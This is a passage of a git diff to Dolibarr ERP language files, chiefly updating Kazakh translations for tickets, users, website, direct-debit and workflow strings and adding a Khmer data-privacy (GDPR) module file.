Stripe backoffice -тен жасау керек. Stripe тұтынушылар жазбасын қосу үшін мына жерді басуға болады: %s +STRIPE_CARD_PRESENT=Card Present for Stripe Terminals +TERMINAL_LOCATION=Location (address) for Stripe Terminals +RequestDirectDebitWithStripe=Request Direct Debit with Stripe +STRIPE_SEPA_DIRECT_DEBIT=Enable the Direct Debit payments through Stripe + diff --git a/htdocs/langs/kk_KZ/ticket.lang b/htdocs/langs/kk_KZ/ticket.lang index 26b8925094c..ca9b0a10973 100644 --- a/htdocs/langs/kk_KZ/ticket.lang +++ b/htdocs/langs/kk_KZ/ticket.lang @@ -26,7 +26,9 @@ Permission56002=Билеттерді өзгерту Permission56003=Билеттерді жою Permission56004=Билеттерді басқару Permission56005=Барлық үшінші тараптардың билеттерін қараңыз (сыртқы пайдаланушылар үшін тиімді емес, әрқашан олар тәуелді үшінші жақпен шектеледі) +Permission56006=Export tickets +Tickets=Tickets TicketDictType=Билет - түрлері TicketDictCategory=Билет - топтар TicketDictSeverity=Билет - ауырлық @@ -60,6 +62,8 @@ TypeContact_ticket_external_CONTRIBUTOR=Сыртқы қатысушы OriginEmail=Репортердің электрондық поштасы Notify_TICKET_SENTBYMAIL=Билет хабарламасын электрондық пошта арқылы жіберіңіз +ExportDataset_ticket_1=Tickets + # Status Read=Оқыңыз Assigned=Тағайындалған @@ -90,8 +94,8 @@ TicketPublicAccess=Сәйкестендіруді қажет етпейтін ж TicketSetupDictionaries=Билеттің түрі, маңыздылығы мен аналитикалық кодтары сөздіктерден конфигурацияланады TicketParamModule=Айнымалы модульді баптау TicketParamMail=Электрондық поштаны реттеу -TicketEmailNotificationFrom=Sender e-mail for ticket answers -TicketEmailNotificationFromHelp=Sender e-mail for ticket answers sent from Dolibarr +TicketEmailNotificationFrom=Sender e-mail for notification on answers +TicketEmailNotificationFromHelp=Sender e-mail to use to send the notification email when an answer is provided inside the backoffice. For example noreply@example.com TicketEmailNotificationTo=Notify ticket creation to this e-mail address TicketEmailNotificationToHelp=If present, this e-mail address will be notified of a ticket creation TicketNewEmailBodyLabel=Билетті жасағаннан кейін мәтіндік хабарлама жіберіледі @@ -99,6 +103,8 @@ TicketNewEmailBodyHelp=Мұнда көрсетілген мәтін ашық и TicketParamPublicInterface=Жалпыға ортақ интерфейсті орнату TicketsEmailMustExist=Билетті жасау үшін бар электрондық пошта мекенжайын талап етіңіз TicketsEmailMustExistHelp=Жалпыға қолжетімді интерфейсте жаңа билетті жасау үшін электрондық пошта мекенжайын дерекқорға енгізу қажет. +TicketCreateThirdPartyWithContactIfNotExist=Ask name and company name for unknown emails. +TicketCreateThirdPartyWithContactIfNotExistHelp=Check if a thirdparty or a contact exists for the email entered. If not, ask a name and a company name to create a third party with contact. PublicInterface=Жалпыға ортақ интерфейс TicketUrlPublicInterfaceLabelAdmin=Жалпыға ортақ интерфейске арналған балама URL TicketUrlPublicInterfaceHelpAdmin=Веб -сервердің бүркеншік атын анықтауға және осылайша басқа интерфейспен жалпыға ортақ интерфейсті қол жетімді етуге болады (сервер осы жаңа URL -де прокси ретінде әрекет етуі керек) @@ -147,6 +153,8 @@ TicketsAutoNotifyCloseHelp=When closing a ticket, you will be proposed to send a TicketWrongContact=Provided contact is not part of current ticket contacts. Email not sent. TicketChooseProductCategory=Product category for ticket support TicketChooseProductCategoryHelp=Select the product category of ticket support. This will be used to automatically link a contract to a ticket. +TicketUseCaptchaCode=Use graphical code (CAPTCHA) when creating a ticket +TicketUseCaptchaCodeHelp=Adds CAPTCHA verification when creating a new ticket. # # Index & list page @@ -178,7 +186,7 @@ CreatedBy=Жасалған NewTicket=Жаңа билет SubjectAnswerToTicket=Билет жауабы TicketTypeRequest=Сұраныс түрі -TicketCategory=Билеттердің жіктелуі +TicketCategory=Ticket group SeeTicket=Билетті қараңыз TicketMarkedAsRead=Билет оқылды деп белгіленді TicketReadOn=Оқыңыз @@ -190,8 +198,7 @@ TicketAssigned=Билет енді тағайындалды TicketChangeType=Түрін өзгерту TicketChangeCategory=Аналитикалық кодты өзгертіңіз TicketChangeSeverity=Ауырлық дәрежесін өзгерту -TicketAddMessage=Хабар қосу -AddMessage=Хабар қосу +TicketAddMessage=Add private message MessageSuccessfullyAdded=Билет қосылды TicketMessageSuccessfullyAdded=Хабар сәтті қосылды TicketMessagesList=Хабарламалар тізімі @@ -202,8 +209,8 @@ TicketSeverity=Ауырлығы ShowTicket=Билетті қараңыз RelatedTickets=Қатысты билеттер TicketAddIntervention=Интервенцияны құру -CloseTicket=Жабу | Билетті шешу -AbandonTicket=Билеттен бас тарту +CloseTicket=Close|Solve +AbandonTicket=Abandon CloseATicket=Жабу | Билетті шешіңіз ConfirmCloseAticket=Билеттің жабылуын растаңыз ConfirmAbandonTicket=Билеттің жабылғанын растадыңыз ба? @@ -217,18 +224,17 @@ SendMessageByEmail=Хабарды электрондық пошта арқылы TicketNewMessage=Жаңа хабарлама ErrorMailRecipientIsEmptyForSendTicketMessage=Алушы бос. Электрондық пошта жіберілмейді TicketGoIntoContactTab=Оларды таңдау үшін «Контактілер» қойындысына өтіңіз -TicketMessageMailIntro=Кіріспе +TicketMessageMailIntro=Message header TicketMessageMailIntroHelp=Бұл мәтін электрондық поштаның басында ғана қосылады және сақталмайды. -TicketMessageMailIntroLabelAdmin=Introduction text to all ticket answers TicketMessageMailIntroText=Hello,
      A new answer has been added to a ticket that you follow. Here is the message:
      TicketMessageMailIntroHelpAdmin=This text will be inserted before the answer when replying to a ticket from Dolibarr -TicketMessageMailSignature=Қолтаңба -TicketMessageMailSignatureHelp=Бұл мәтін электрондық поштаның соңына ғана қосылады және сақталмайды. -TicketMessageMailSignatureText=Message sent by %s via Dolibarr -TicketMessageMailSignatureLabelAdmin=Жауап электрондық поштасының қолтаңбасы -TicketMessageMailSignatureHelpAdmin=Бұл мәтін жауап хабарынан кейін енгізіледі. +TicketMessageMailFooter=Message footer +TicketMessageMailFooterHelp=This text is added only at the end of the message sent by email and will not be saved. +TicketMessageMailFooterText=Message sent by %s via Dolibarr +TicketMessageMailFooterHelpAdmin=This text will be inserted after the response message. TicketMessageHelp=Билеттер картасындағы хабарламалар тізімінде тек осы мәтін сақталады. TicketMessageSubstitutionReplacedByGenericValues=Ауыстыру айнымалылары жалпы мәндермен ауыстырылады. +ForEmailMessageWillBeCompletedWith=For email messages sent to external users, the message will be completed with TimeElapsedSince=Содан бері уақыт өтті TicketTimeToRead=Оқуға дейін уақыт өтті TicketTimeElapsedBeforeSince=Уақыт бұрын / кейін өтті @@ -239,6 +245,7 @@ TicketMessageMailIntroAutoNewPublicMessage=Билетте %s деген тақы TicketAssignedToYou=Билет тағайындалды TicketAssignedEmailBody=Сізге %s берген #%s билеті тағайындалды MarkMessageAsPrivate=Хабарды жеке деп белгілеу +TicketMessageSendEmailHelp=An email will be sent to all assigned contact (internal contacts, but also external contacts except if the option "%s" is checked) TicketMessagePrivateHelp=Бұл хабарлама сыртқы пайдаланушыларға көрсетілмейді TicketEmailOriginIssuer=Билеттердің шыққан жеріндегі эмитент InitialMessage=Бастапқы хабарлама @@ -294,7 +301,7 @@ TicketNewEmailBodyInfosTrackUrlCustomer=Келесі сілтемені басу TicketCloseEmailBodyInfosTrackUrlCustomer=You can consult the history of this ticket by clicking the following link TicketEmailPleaseDoNotReplyToThisEmail=Бұл электрондық поштаға тікелей жауап бермеңіз! Интерфейске жауап беру үшін сілтемені пайдаланыңыз. TicketPublicInfoCreateTicket=Бұл форма біздің билік жүйесінде қолдау билетін жазуға мүмкіндік береді. -TicketPublicPleaseBeAccuratelyDescribe=Мәселені нақты сипаттаңыз. Сіздің сұранысты дұрыс анықтауға мүмкіндік беретін барынша көп ақпарат беріңіз. +TicketPublicPleaseBeAccuratelyDescribe=Please accurately describe your question. Provide the most information possible to allow us to correctly identify your request. TicketPublicMsgViewLogIn=Билетті қадағалау идентификаторын енгізіңіз TicketTrackId=Жалпы қадағалау идентификаторы OneOfTicketTrackId=Сіздің бақылау идентификаторыңыздың бірі diff --git a/htdocs/langs/kk_KZ/users.lang b/htdocs/langs/kk_KZ/users.lang index b1d4b6e368f..6d39793595f 100644 --- a/htdocs/langs/kk_KZ/users.lang +++ b/htdocs/langs/kk_KZ/users.lang @@ -47,7 +47,7 @@ RemoveFromGroup=Топтан шығару PasswordChangedAndSentTo=Құпия сөз өзгертілді және %s мекенжайына жіберілді. PasswordChangeRequest= %s паролін өзгертуді сұрау PasswordChangeRequestSent= %s үшін %s поштасына құпия сөзді өзгерту туралы сұрау. -IfLoginExistPasswordRequestSent=Егер бұл кіру жарамды тіркелгі болса, құпия сөзді қалпына келтіру үшін электрондық пошта жіберілді. +IfLoginExistPasswordRequestSent=If this login is a valid account (with a valid email), an email to reset password has been sent. IfEmailExistPasswordRequestSent=Егер бұл электрондық пошта жарамды тіркелгі болса, құпия сөзді қалпына келтіру үшін электрондық пошта жіберілді. ConfirmPasswordReset=Құпия сөзді қалпына келтіруді растаңыз MenuUsersAndGroups=Пайдаланушылар мен топтар @@ -66,9 +66,9 @@ LinkedToDolibarrUser=Link to user LinkedToDolibarrThirdParty=Link to third party CreateDolibarrLogin=Пайдаланушы жасаңыз CreateDolibarrThirdParty=Үшінші тарап құру -LoginAccountDisableInDolibarr=Dolibarr есептік жазбасы өшірілген. +LoginAccountDisableInDolibarr=Account disabled in Dolibarr +PASSWORDInDolibarr=Password modified in Dolibarr UsePersonalValue=Жеке құндылықты қолданыңыз -InternalUser=Ішкі қолданушы ExportDataset_user_1=Қолданушылар және олардың қасиеттері DomainUser=%s домен қолданушысы Reactivate=Қайта қосыңыз @@ -128,3 +128,8 @@ DateLastLogin=Date last login DatePreviousLogin=Date previous login IPLastLogin=IP last login IPPreviousLogin=IP previous login +ShowAllPerms=Show all permission rows +HideAllPerms=Hide all permission rows +UserPublicPageDesc=You can enable a virtual card for this user. An url with the user profile and a barcode will be available to allow anybody with a smartphone to scan it and add your contact to its address book. +EnablePublicVirtualCard=Enable the public virtual user card +PublicVirtualCardUrl=Public virtual user card diff --git a/htdocs/langs/kk_KZ/website.lang b/htdocs/langs/kk_KZ/website.lang index 1d2f20af0f0..0dc4bfb2ce7 100644 --- a/htdocs/langs/kk_KZ/website.lang +++ b/htdocs/langs/kk_KZ/website.lang @@ -1,5 +1,6 @@ # Dolibarr language file - Source file is en_US - website Shortname=Код +WebsiteName=Name of the website WebsiteSetupDesc=Қолданғыңыз келетін веб -сайттарды осы жерден жасаңыз. Содан кейін оларды өңдеу үшін веб -сайттар мәзіріне өтіңіз. DeleteWebsite=Веб -сайтты жою ConfirmDeleteWebsite=Бұл веб -сайтты шынымен жойғыңыз келе ме? Оның барлық беттері мен мазмұны жойылады. Жүктелген файлдар (мысалы медиа каталогында, ECM модулінде ...) қалады. @@ -15,9 +16,9 @@ WEBSITE_HTML_HEADER=HTML тақырыбының төменгі жағындағ WEBSITE_ROBOT=Роботтық файл (robots.txt) WEBSITE_HTACCESS=Веб -сайт .htaccess файлы WEBSITE_MANIFEST_JSON=Manifest.json веб -сайты -WEBSITE_README=README.md файлы WEBSITE_KEYWORDSDesc=Мәндерді ажырату үшін үтірді қолданыңыз -EnterHereLicenseInformation=Мұнда README.md файлын толтыру үшін мета деректерді немесе лицензия ақпаратын енгізіңіз. егер сіз веб -сайтыңызды шаблон ретінде таратсаңыз, онда файл азғырылған пакетке қосылады. +EnterHereReadmeInformation=Enter here a description of the website. If you distribute your website as a template, the file will be included into the temptate package. +EnterHereLicenseInformation=Enter here the LICENSE of the code of the website. If you distribute your website as a template, the file will be included into the temptate package. HtmlHeaderPage=HTML тақырыбы (тек осы бетке тән) PageNameAliasHelp=Беттің аты немесе бүркеншік аты.
      Бұл бүркеншік атау веб -сервердің виртуалды хостынан (Apacke, Nginx, ... сияқты) жұмыс жасағанда, SEO URL мекенжайын жасау үшін де қолданылады. Бұл бүркеншік атты өңдеу үшін « %s » түймесін пайдаланыңыз. EditTheWebSiteForACommonHeader=Ескерту: Егер сіз барлық беттерге арналған дербес тақырыпты анықтағыңыз келсе, тақырыпты бетте/контейнерде емес, сайт деңгейінде өңдеңіз. @@ -42,10 +43,12 @@ ViewPageInNewTab=Бетті жаңа қойындыда қарау SetAsHomePage=Басты бет ретінде орнату RealURL=Нақты URL ViewWebsiteInProduction=Негізгі URL мекенжайларын пайдаланып веб -сайтты қараңыз +Virtualhost=Virtual host or domain name +VirtualhostDesc=The name of the Virtual host or domain (For example: www.mywebsite.com, mybigcompany.net, ...) SetHereVirtualHost=Use with Apache/NGinx/...
      Create on your web server (Apache, Nginx, ...) a dedicated Virtual Host with PHP enabled and a Root directory on
      %s ExampleToUseInApacheVirtualHostConfig=Apache виртуалды хостын орнатуда қолданылатын мысал: YouCanAlsoTestWithPHPS=Use with PHP embedded server
      On develop environment, you may prefer to test the site with the PHP embedded web server (PHP 5.5 required) by running
      php -S 0.0.0.0:8080 -t %s -YouCanAlsoDeployToAnotherWHP= Веб -сайтыңызды басқа Dolibarr хостинг провайдерімен іске қосыңыз
      Егер сізде Интернетте Apache немесе NGinx сияқты веб -сервер жоқ болса, сіз өзіңіздің веб -сайтыңызды басқа Dolibarr хостинг провайдерімен қамтамасыз ететін басқа Dolibarr данасына экспорттауға және импорттауға болады. веб -сайт модулімен біріктіру. сайтында кейбір Dolibarr хостинг провайдерлерінің тізімін таба аласыз https://saas.dolibarr.org +YouCanAlsoDeployToAnotherWHP=Run your web site with another Dolibarr Hosting provider
      If you don't have a web server like Apache or NGinx available on internet, you can export and import your web site onto another Dolibarr instance provided by another Dolibarr hosting provider that provide full integration with the Website module. You can find a list of some Dolibarr hosting providers on https://saas.dolibarr.org CheckVirtualHostPerms=Check also that the virtual host user (for example www-data) has %s permissions on files into
      %s ReadPerm=Оқыңыз WritePerm=Жазу @@ -60,7 +63,7 @@ YouCanEditHtmlSourceckeditor=Редактордағы «Дереккөз» ба YouCanEditHtmlSource=
      Сіз PHP кодын <? php? a0012c7d7f00770 Келесі жаһандық айнымалылар қол жетімді: $ conf, $ db, $ mysoc, $ user, $ website, $ websitepage, $ weblangs, $ pagelangs.

      Сондай -ақ, келесі синтаксисі бар басқа бет/контейнер мазмұнын қосуға болады:
      a0e784c0fc04 ? >


      Сіз келесі синтаксис (: істей емес шығыс нөмірге дейін кез келген мазмұн Ескерту): басқа бет / контейнерлерде бағытын өзгерту енгізе аласыз
      < PHP redirectToContainer ( 'alias_of_container_to_redirect_to'); ? құжаттарына сақталған файлға жүктеуге үшін сілтемені қамтуы үшін
      <a HREF = «alias_of_page_to_link_to.php» >mylink<a>

      : >


      синтаксисті пайдаланыңыз, басқа бетке сілтеме қосу үшін
      каталог, пайдалану document.php Қабық:
      Мысал, құжаттар / ECM (кіруіңіз қажет) ішіне файл үшін, синтаксис:?
      <a HREF = «/ document.php modulepart = ECM & файл = [relative_dir / ] filename.ext «>
      Құжаттарға/медиаларға файл үшін (жалпыға қол жетімді каталог), синтаксис:
      a0e7843947c09bz0 «/document.php?modulepart=medias&file=itorialre_dir/] /document.php?hashp=publicsharekeyoffile">

      , каталогына құжаттарына сақталған бір суретті қамтиды viewimage.php тасымалын пайдалану үшін: мысал
      , сурет үшін құжаттар / бұқаралық ақпарат құралдарының (ашық жалпыға қол жетімді каталог), синтаксис:
      <img src = «/viewimage.php? modulepart = medias&file #YouCanEditHtmlSource2=
      To include a image shared publicaly, use the viewimage.php wrapper:
      Example with a shared key 123456789, syntax is:
      <img src="/viewimage.php?hashp=12345679012...">
      YouCanEditHtmlSource2=Бөлісу сілтемесімен бөлісілген кескін үшін (файлдың ортақ хэш кілтін қолдана отырып, ашық қатынас), синтаксис:
      <img src = «/viewimage.php? Hashp = 12345679012z00f01f01f0f1f0f4f0f0f0f0f0f09f0f0f0f09b029» -YouCanEditHtmlSourceMore=
      HTML немесе динамикалық кодтың басқа мысалдары қол жетімді вики құжаттамасы
      . +YouCanEditHtmlSourceMore=
      More examples of HTML or dynamic code available on the wiki documentation
      . ClonePage=Бетті/контейнерді клондау CloneSite=Сайтты клондау SiteAdded=Веб -сайт қосылды @@ -137,7 +140,7 @@ PagesRegenerated=%s бет (тер)/контейнер (лер) жаңартыл RegenerateWebsiteContent=Веб -сайттың кэш файлдарын қалпына келтіріңіз AllowedInFrames=Кадрларда рұқсат етілген DefineListOfAltLanguagesInWebsiteProperties=Веб -сайт сипаттарына барлық қол жетімді тілдердің тізімін анықтаңыз. -GenerateSitemaps=Веб -сайттың сайт картасының файлын жасаңыз +GenerateSitemaps=Generate website sitemap.xml file ConfirmGenerateSitemaps=Егер растасаңыз, сайт картасының файлын өшіресіз ... ConfirmSitemapsCreation=Сайт картасының құрылуын растаңыз SitemapGenerated= %s сайт картасының файлы жасалды @@ -145,3 +148,10 @@ ImportFavicon=Фавикон ErrorFaviconType=Фавикон PNG болуы керек ErrorFaviconSize=Favicon өлшемі 16x16, 32x32 немесе 64x64 болуы керек FaviconTooltip=Png (16x16, 32x32 немесе 64x64) болуы керек суретті жүктеңіз +NextContainer=Next page/container +PreviousContainer=Previous page/container +WebsiteMustBeDisabled=The website must have the status "%s" +WebpageMustBeDisabled=The web page must have the status "%s" +SetWebsiteOnlineBefore=When website is offline, all pages are offline. Change status of website first. +Booking=Booking +Reservation=Reservation diff --git a/htdocs/langs/kk_KZ/withdrawals.lang b/htdocs/langs/kk_KZ/withdrawals.lang index 7dcc0230860..7e0b0daeab5 100644 --- a/htdocs/langs/kk_KZ/withdrawals.lang +++ b/htdocs/langs/kk_KZ/withdrawals.lang @@ -31,8 +31,9 @@ SupplierInvoiceWaitingWithdraw=Кредиттік аударым арқылы т InvoiceWaitingWithdraw=Шот -фактура тікелей дебетті күтуде InvoiceWaitingPaymentByBankTransfer=Шот -фактура несие аударымын күтуде AmountToWithdraw=Шығарылатын сома +AmountToTransfer=Amount to transfer NoInvoiceToWithdraw=«%s» үшін ашық шот жоқ. Сұраныс жасау үшін шот -фактуралық картадағы '%s' қойындысына өтіңіз. -NoSupplierInvoiceToWithdraw=Ашық «Тікелей несие сұраныстары» бар жеткізуші шот -фактурасы күтілмейді. Сұраныс жасау үшін шот -фактуралық картадағы '%s' қойындысына өтіңіз. +NoSupplierInvoiceToWithdraw=No supplier invoice with open '%s' is waiting. Go on tab '%s' on invoice card to make a request. ResponsibleUser=Пайдаланушы жауапты WithdrawalsSetup=Тікелей дебеттік төлемді реттеу CreditTransferSetup=Несие аударымын реттеу @@ -41,6 +42,7 @@ CreditTransferStatistics=Несие аударымдарының статист Rejects=Бас тартады LastWithdrawalReceipt=Соңғы %s тікелей дебеттік түсімдер MakeWithdrawRequest=Тікелей дебеттік төлем туралы өтініш жасаңыз +MakeWithdrawRequestStripe=Make a direct debit payment request via Stripe MakeBankTransferOrder=Несие аудару туралы өтініш жасаңыз WithdrawRequestsDone=%s тікелей дебет бойынша төлем сұраулары жазылды BankTransferRequestsDone=%s несие аудару сұраныстары жазылды @@ -99,8 +101,11 @@ CreditDate=Несие қосылған WithdrawalFileNotCapable=%s (сіздің елге қолдау көрсетілмейді) үшін сіздің елден ақша алу туралы түбіртек файлын жасау мүмкін емес ShowWithdraw=Тікелей дебеттік тапсырысты көрсету IfInvoiceNeedOnWithdrawPaymentWontBeClosed=Алайда, егер шот -фактурада әлі де өңделмеген тікелей дебеттік төлем бойынша кемінде бір тапсырыс болса, ол алдын ала алуды басқаруға мүмкіндік беру үшін төленбейді. -DoStandingOrdersBeforePayments=Бұл қойынды сізге тікелей дебеттік төлем тапсырмасын сұрауға мүмкіндік береді. Дайын болғаннан кейін банктік мәзірге өтіңіз-тікелей дебеттік тапсырысты құру және басқару үшін. Тікелей дебеттік тапсырыс жабылған кезде, шот -фактуралар бойынша төлем автоматты түрде жазылады, ал егер төлемнің қалған бөлігі нөлге тең болса, шот -фактуралар жабылады. -DoCreditTransferBeforePayments=Бұл қойынды несиелік аударым тапсырысын сұрауға мүмкіндік береді. Аяқтағаннан кейін несие аударымының тапсырысын жасау және басқару үшін Банк-> Кредиттік аударым арқылы төлем мәзіріне өтіңіз. Несие аударымының тапсырысы жабылған кезде шот -фактуралар бойынша төлем автоматты түрде жазылады, ал егер төлемнің қалған бөлігі бос болса, шот -фактуралар жабылады. +DoStandingOrdersBeforePayments=This tab allows you to request a direct debit payment order. Once done, you can go into menu "Bank->Payment by direct debit" to generate and manage a Direct debit order file. +DoStandingOrdersBeforePayments2=You can also send a request directly to a SEPA payment processor like Stripe, ... +DoStandingOrdersBeforePayments3=When direct debit order is closed, payment on invoices will be automatically recorded, and invoices closed if remainder to pay is null. +DoCreditTransferBeforePayments=This tab allows you to request a credit transfer order. Once done, go into menu "Bank->Payment by credit transfer" to generate and manage a Credit transfer order file. +DoCreditTransferBeforePayments3=When credit transfer order is closed, payment on invoices will be automatically recorded, and invoices closed if remainder to pay is null. WithdrawalFile=Дебеттік тапсырыс файлы CreditTransferFile=Несие аудару файлы SetToStatusSent=«Файл жіберілді» күйіне орнатыңыз @@ -117,7 +122,7 @@ WithdrawRequestErrorNilAmount=Бос сомаға тікелей дебетті SepaMandate=SEPA тікелей дебеттік мандаты SepaMandateShort=SEPA мандаты PleaseReturnMandate=Бұл мандат формасын %s электрондық поштасына немесе пошта арқылы қайтарыңыз -SEPALegalText=By signing this mandate form, you authorize (A) %s to send instructions to your bank to debit your account and (B) your bank to debit your account in accordance with the instructions from %s. As part of your rights, you are entitled to a refund from your bank under the terms and conditions of your agreement with your bank. Your rights regarding the above mandate are explained in a statement that you can obtain from your bank. +SEPALegalText=By signing this mandate form, you authorize (A) %s and its payment service provider to send instructions to your bank to debit your account and (B) your bank to debit your account in accordance with the instructions from %s. As part of your rights, you are entitled to a refund from your bank under the terms and conditions of your agreement with your bank. Your rights regarding the above mandate are explained in a statement that you can obtain from your bank. CreditorIdentifier=Кредитор идентификаторы CreditorName=Кредитордың аты SEPAFillForm=(B) * деп белгіленген барлық өрістерді толтырыңыз. @@ -136,6 +141,7 @@ SEPAFRST=SEPA FRST ExecutionDate=Орындау күні CreateForSepa=Тікелей дебеттік файл жасаңыз ICS=Кредитордың идентификаторы - ICS +IDS=Debitor Identifier END_TO_END=«EndToEndId» SEPA XML тегі - бір транзакцияға тағайындалған бірегей идентификатор USTRD=SEPA XML «құрылымдалмаған» тегі ADDDAYS=Орындау күніне күндерді қосыңыз @@ -154,3 +160,4 @@ ErrorICSmissing=%s банктік шотында ICS жоқ TotalAmountOfdirectDebitOrderDiffersFromSumOfLines=Тікелей дебеттік тапсырыстың жалпы сомасы жолдардың сомасынан өзгеше WarningSomeDirectDebitOrdersAlreadyExists=Warning: There is already some pending Direct Debit orders (%s) requested for an amount of %s WarningSomeCreditTransferAlreadyExists=Warning: There is already some pending Credit Transfer (%s) requested for an amount of %s +UsedFor=Used for %s diff --git a/htdocs/langs/kk_KZ/workflow.lang b/htdocs/langs/kk_KZ/workflow.lang index c9ac544255c..20ba196f12d 100644 --- a/htdocs/langs/kk_KZ/workflow.lang +++ b/htdocs/langs/kk_KZ/workflow.lang @@ -7,6 +7,7 @@ descWORKFLOW_PROPAL_AUTOCREATE_ORDER=Коммерциялық ұсынысқа descWORKFLOW_PROPAL_AUTOCREATE_INVOICE=Коммерциялық ұсынысқа қол қойылғаннан кейін клиенттің шот -фактурасын автоматты түрде жасаңыз (жаңа шот -фактурада ұсыныстың сомасы болады) descWORKFLOW_CONTRACT_AUTOCREATE_INVOICE=Келісім -шарт расталғаннан кейін клиенттің шот -фактурасын автоматты түрде жасаңыз descWORKFLOW_ORDER_AUTOCREATE_INVOICE=Сату тапсырысы жабылғаннан кейін клиенттің шот -фактурасын автоматты түрде жасаңыз (жаңа шот -фактурада тапсырыспен бірдей сома болады) +descWORKFLOW_TICKET_CREATE_INTERVENTION=On ticket creation, automatically create an intervention. # Autoclassify customer proposal or order descWORKFLOW_ORDER_CLASSIFY_BILLED_PROPAL=Байланыстырылған бастапқы ұсынысты сату тапсырысы есепке қойылған кезде шот ретінде жіктеңіз (және егер тапсырыс сомасы қол қойылған байланыстырылған ұсыныстың жалпы сомасына тең болса) descWORKFLOW_INVOICE_CLASSIFY_BILLED_PROPAL=Байланыстырылған бастапқы ұсынысты клиенттің шот -фактурасы расталған кезде шот ретінде жіктеңіз (егер шот -фактураның сомасы қол қойылған байланыстырылған ұсыныстың жалпы сомасына тең болса) @@ -14,13 +15,22 @@ descWORKFLOW_INVOICE_AMOUNT_CLASSIFY_BILLED_ORDER=Клиенттердің шо descWORKFLOW_INVOICE_CLASSIFY_BILLED_ORDER=Байланысты бастапқы сату тапсырысын тұтынушы шот -фактурасы төленген күйге қойылған кезде шот ретінде жіктеңіз (егер шот -фактураның сомасы байланыстырылған тапсырыстың жалпы сомасымен бірдей болса) descWORKFLOW_ORDER_CLASSIFY_SHIPPED_SHIPPING=Байланысты бастапқы сату тапсырысын жеткізілім расталған кезде жіберілген деп жіктеңіз (және егер барлық жөнелтімдердің саны жаңартылатын тәртіппен бірдей болса) descWORKFLOW_ORDER_CLASSIFY_SHIPPED_SHIPPING_CLOSED=Байланысты бастапқы сату тапсырысын жеткізілім жабылған кезде жіберілген деп жіктеңіз (және егер барлық жөнелтімдер саны жаңартылатын тәртіппен бірдей болса) -# Autoclassify purchase order +# Autoclassify purchase proposal descWORKFLOW_ORDER_CLASSIFY_BILLED_SUPPLIER_PROPOSAL=Байланысты көзі бар жеткізуші ұсынысын жеткізуші шот -фактурасы расталған кезде шот ретінде жіктеңіз (егер шот -фактураның сомасы байланыстырылған ұсыныстың жалпы сомасына тең болса) +# Autoclassify purchase order descWORKFLOW_INVOICE_AMOUNT_CLASSIFY_BILLED_SUPPLIER_ORDER=Сатып алушының шот -фактурасы расталған кезде байланысқан бастапқы сатып алу тапсырысын шот ретінде жіктеңіз (егер шот -фактураның сомасы байланыстырылған тапсырыстың жалпы сомасымен бірдей болса) -descWORKFLOW_BILL_ON_RECEPTION=Байланыстырылған жеткізуші тапсырысы расталған кезде қабылдауды «есепке» жатқызыңыз +descWORKFLOW_ORDER_CLASSIFY_RECEIVED_RECEPTION=Classify linked source purchase order as received when a reception is validated (and if the quantity received by all receptions is the same as in the purchase order to update) +descWORKFLOW_ORDER_CLASSIFY_RECEIVED_RECEPTION_CLOSED=Classify linked source purchase order as received when a reception is closed (and if the quantity received by all rceptions is the same as in the purchase order to update) +# Autoclassify purchase invoice +descWORKFLOW_EXPEDITION_CLASSIFY_CLOSED_INVOICE=Classify receptions to "billed" when a linked purchase invoice is validated (and if the amount of the invoice is the same as the total amount of the linked receptions) +# Automatically link ticket to contract +descWORKFLOW_TICKET_LINK_CONTRACT=When creating a ticket, link available contracts of matching thirdparty +descWORKFLOW_TICKET_USE_PARENT_COMPANY_CONTRACTS=When linking contracts, search among those of parents companies # Autoclose intervention descWORKFLOW_TICKET_CLOSE_INTERVENTION=Билет жабылған кезде билетке байланысты барлық араласуларды жабыңыз AutomaticCreation=Автоматты түрде құру AutomaticClassification=Автоматты жіктеу # Autoclassify shipment -descWORKFLOW_SHIPPING_CLASSIFY_CLOSED_INVOICE=Клиенттердің шот -фактурасы расталған кезде байланыстырылған бастапқы жеткізуді жабық деп жіктеңіз +descWORKFLOW_SHIPPING_CLASSIFY_CLOSED_INVOICE=Classify linked source shipment as closed when customer invoice is validated (and if the amount of the invoice is the same as the total amount of the linked shipments) +AutomaticClosing=Automatic closing +AutomaticLinking=Automatic linking diff --git a/htdocs/langs/km_KH/datapolicy.lang b/htdocs/langs/km_KH/datapolicy.lang new file mode 100644 index 00000000000..aad90c75e2f --- /dev/null +++ b/htdocs/langs/km_KH/datapolicy.lang @@ -0,0 +1,92 @@ +# Copyright (C) 2018 Nicolas ZABOURI +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . + +# Module label 'ModuledatapolicyName' +Module4100Name = Data Privacy Policy +# Module description 'ModuledatapolicyDesc' +Module4100Desc = Module to manage Data Privacy (Conformity with the GDPR) + +# +# Administration page +# +datapolicySetup = Module Data Privacy Policy Setup +Deletion = Deletion of data +datapolicySetupPage = Depending of laws of your countries (Example Article 5 of the GDPR), personal data must be kept for a period not exceeding that necessary for the purposes for which they were collected, except for archival purposes.
      The deletion will be done automatically after a certain duration without event (the duration which you will have indicated below). +NB_MONTHS = %s months +ONE_YEAR = 1 year +NB_YEARS = %s years +DATAPOLICY_TIERS_CLIENT = Customer +DATAPOLICY_TIERS_PROSPECT = Prospect +DATAPOLICY_TIERS_PROSPECT_CLIENT = Prospect/Customer +DATAPOLICY_TIERS_NIPROSPECT_NICLIENT = Nor prospect/Nor customer +DATAPOLICY_TIERS_FOURNISSEUR = Supplier +DATAPOLICY_CONTACT_CLIENT = Customer +DATAPOLICY_CONTACT_PROSPECT = Prospect +DATAPOLICY_CONTACT_PROSPECT_CLIENT = Prospect/Customer +DATAPOLICY_CONTACT_NIPROSPECT_NICLIENT = Nor prospect/Nor customer +DATAPOLICY_CONTACT_FOURNISSEUR = Supplier +DATAPOLICY_ADHERENT = Member +DATAPOLICY_Tooltip_SETUP = Type of contact - Indicate your choices for each type. +DATAPOLICYMail = Emails Setup +DATAPOLICYSUBJECTMAIL = Subject of email +DATAPOLICYCONTENTMAIL = Content of the email +DATAPOLICYSUBSITUTION = You can use the following variables in your email (LINKACCEPT allows to create a link recording the agreement of the person, LINKREFUSED makes it possible to record the refusal of the person): +DATAPOLICYACCEPT = Message after agreement +DATAPOLICYREFUSE = 